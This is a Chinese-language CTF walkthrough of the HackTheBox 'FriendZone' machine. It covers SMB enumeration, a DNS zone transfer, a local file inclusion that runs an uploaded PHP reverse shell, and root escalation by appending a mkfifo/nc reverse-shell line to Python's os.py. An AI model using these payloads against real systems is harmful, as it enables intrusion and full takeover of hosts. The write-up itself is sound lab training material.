1,扫描:
nmap -Pn -sC -sV -vvv 10.10.10.123
扫描结果显示,主机大概率为Linux,且开启了多个端口,我们可以逐一进行分析
445Samba端口
目标开启了445端口,我们可以用nmap进行枚举目录
nmap --script=smb-enum-shares.nse 10.10.10.123 -v
我们可以发现,存在多个共享目录,其中比较有价值的是/general和/Development可以发现这两个目录可以进行匿名登录,并且会存在读写权限
我们依次进行测试
smbclient -N //10.10.10.123/general //Development
在这两个目录中我们可以得到一个文档,里面存放着可能是某系统的登录方式
至此,目前的Samba没什么价值了
80http端口
我们直接访问http://10.10.10.123
发现了一个域名,先挂上
echo '10.10.10.123 friendzoneportal.red' | tee -a /etc/hosts
仍后重新访问这个域名,发现同上方,通过查看源码和枚举目标目录也没有发现什么价值
53DNS端口
对于DNS端口我们可以先行测试是否存在DNS域传输
dig @10.10.10.123 axfr friendzone.red
存在,把域名挂上后,再进行依次访问
443https端口
我们此时已经得到多个域名,依次访问
其中发现这个域名存在一个文件上传功能,但是经过测试发现这个上传功能就目前而言并没有实际意义,并且不一定是真的
继续访问发现一个登录系统,这时候用之前发现的文档进行登录,发现可以登录成功
登录后依照,提升可以访问这个界面,其中大概可以了解到,
我们可以通过 ?image_id=a.jpg&pagename= 来进行目录访问
尝试构建
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../../../etc/passwd
发现无法访问,这时候我们可以尝试访问dashboard
所以构建
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=dashboard
成功访问,这时候我们就可以尝试利用之前的Samba上传一个shell了,并且由于Samba在进行目录枚举的时候发现了目录,并且进行直接访问
shell文件可以利用kali自带的php-reverse-shell.php,注意不要忘记更改IP和端口,并且要在本地nc目标端口
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/phpshell.php
构建如上命令尝试进行访问后,会成功拿到shell
python -c 'import pty;pty.spawn("/bin/bash")'
输入如下命令,进入一个标准的bash,并且发现此时用户权限为www-data
此时,可以尝试得到用户flag,
得到后,再去到网页目录上,发现mysql_data.conf,并得到如上信息,
这时候,尝试ssh访问目标,
ssh friend@10.10.10.123
发现成功访问并且得到friend用户权限,此时开始提权
提权!
此时我们得到了www-data和friend这两个用户,我们可以通过一些脚本来帮助提权,这里我们先使用一个名为pspy的动态命令检测(GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions)
目标主机为64位,下载对应版本,并且进行上传
chmod +x pspy64 //提升至可运行权限
./pspy //运行
我们仔细观察一会,会发现系统会周期性运行其中的两个文件,一个为:
/bin/sh -c /opt/server_admin/reporter.py
另一个则为:
/usr/bin/python /opt/server_admin/reporter.py
此时我们立刻可以想到通过修改目标文件进行反弹shell因为运行目标文件的权限为root,这样就可以成功提权,理论存在实践开始。
我们并不能直接修改这两个文件,很显然我们没有他们的写权限,但是很幸运的是,目前文件里存在 “import os” 这会链接python的os库,我们可以修改os库来实现修改文件的目地
我们使用friend用户构建如下命令
vi /usr/lib/python2.7/os.py
并且在最下方加上
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 1234 >/tmp/f")
这个命令,记得修改IP和对于端口,这样再下一个运行周期,我们就可以得到对方的反shell了
至此,渗透完成,这台主机还是很有意思的,可以自己试一试,并且再web端其实存在着另一个漏洞,我们下次继续!